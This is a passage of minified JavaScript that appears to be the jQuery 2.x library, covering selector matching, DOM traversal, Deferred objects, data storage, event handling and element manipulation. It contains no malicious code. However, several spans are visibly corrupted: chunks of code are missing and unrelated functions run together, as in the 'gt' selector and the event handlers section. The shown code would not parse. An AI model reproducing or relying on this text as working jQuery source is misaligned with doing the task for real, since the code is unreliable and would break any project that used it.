Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:ob(function(){return[0]}),last:ob(function(a,b){return[b-1]}),eq:ob(function(a,b,c){return[0>c?c+b:c]}),even:ob(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:ob(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:ob(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:ob(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function tb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ub(a,b,c){for(var d=0,e=b.length;e>d;d++)gb(a,b[d],c);return c}function vb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wb(a,b,c,d,e,f){return d&&!d[u]&&(d=wb(d)),e&&!e[u]&&(e=wb(e,f)),ib(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ub(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:vb(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=vb(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=vb(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sb(function(a){return a===b},h,!0),l=sb(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sb(tb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wb(i>1&&tb(m),i>1&&rb(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xb(a.slice(i,e)),f>e&&xb(a=a.slice(e)),f>e&&rb(a))}m.push(c)}return tb(m)}function yb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=vb(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&gb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ib(f):f}return h=gb.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,yb(e,d)),f.selector=a}return f},i=gb.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&pb(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&rb(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&pb(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=jb(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),jb(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||kb("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&jb(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||kb("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),jb(function(a){return null==a.getAttribute("disabled")})||kb(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),gb}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c) +},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,bb=/<([\w:]+)/,cb=/<|&#?\w+;/,db=/<(?:script|style|link)/i,eb=/checked\s*(?:[^=]|=\s*.checked.)/i,fb=/^$|\/(?:java|ecma)script/i,gb=/^true\/(.*)/,hb=/^\s*\s*$/g,ib={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ib.optgroup=ib.option,ib.tbody=ib.tfoot=ib.colgroup=ib.caption=ib.thead,ib.th=ib.td;function jb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function kb(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function lb(a){var b=gb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function mb(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function nb(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function ob(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pb(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=ob(h),f=ob(a),d=0,e=f.length;e>d;d++)pb(f[d],g[d]);if(b)if(c)for(f=f||ob(a),g=g||ob(h),d=0,e=f.length;e>d;d++)nb(f[d],g[d]);else nb(a,h);return g=ob(h,"script"),g.length>0&&mb(g,!i&&ob(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(cb.test(e)){f=f||k.appendChild(b.createElement("div")),g=(bb.exec(e)||["",""])[1].toLowerCase(),h=ib[g]||ib._default,f.innerHTML=h[1]+e.replace(ab,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=ob(k.appendChild(e),"script"),i&&mb(f),c)){j=0;while(e=f[j++])fb.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=jb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++)b||1!==c.nodeType||n.cleanData(ob(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&mb(ob(c,"script")),c.parentNode.removeChild(c));return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(n.cleanData(ob(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return J(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!db.test(a)&&!ib[(bb.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(ab,"<$1>");try{for(;d>c;c++)b=this[c]||{},1===b.nodeType&&(n.cleanData(ob(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(ob(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,l=this.length,m=this,o=l-1,p=a[0],q=n.isFunction(p);if(q||l>1&&"string"==typeof p&&!k.checkClone&&eb.test(p))return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)});if(l&&(c=n.buildFragment(a,this[0].ownerDocument,!1,this),d=c.firstChild,1===c.childNodes.length&&(c=d),d)){for(f=n.map(ob(c,"script"),kb),g=f.length;l>j;j++)h=c,j!==o&&(h=n.clone(h,!0,!0),g&&n.merge(f,ob(h,"script"))),b.call(this[j],h,j);if(g)for(i=f[f.length-1].ownerDocument,n.map(f,lb),j=0;g>j;j++)h=f[j],fb.test(h.type||"")&&!L.access(h,"globalEval")&&n.contains(i,h)&&(h.src?n._evalUrl&&n._evalUrl(h.src):n.globalEval(h.textContent.replace(hb,"")))}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=[],e=n(a),g=e.length-1,h=0;g>=h;h++)c=h===g?this:this.clone(!0),n(e[h])[b](c),f.apply(d,c.get());return this.pushStack(d)}});var qb,rb={};function sb(b,c){var d,e=n(c.createElement(b)).appendTo(c.body),f=a.getDefaultComputedStyle&&(d=a.getDefaultComputedStyle(e[0]))?d.display:n.css(e[0],"display");return e.detach(),f}function tb(a){var b=l,c=rb[a];return c||(c=sb(a,b),"none"!==c&&c||(qb=(qb||n("

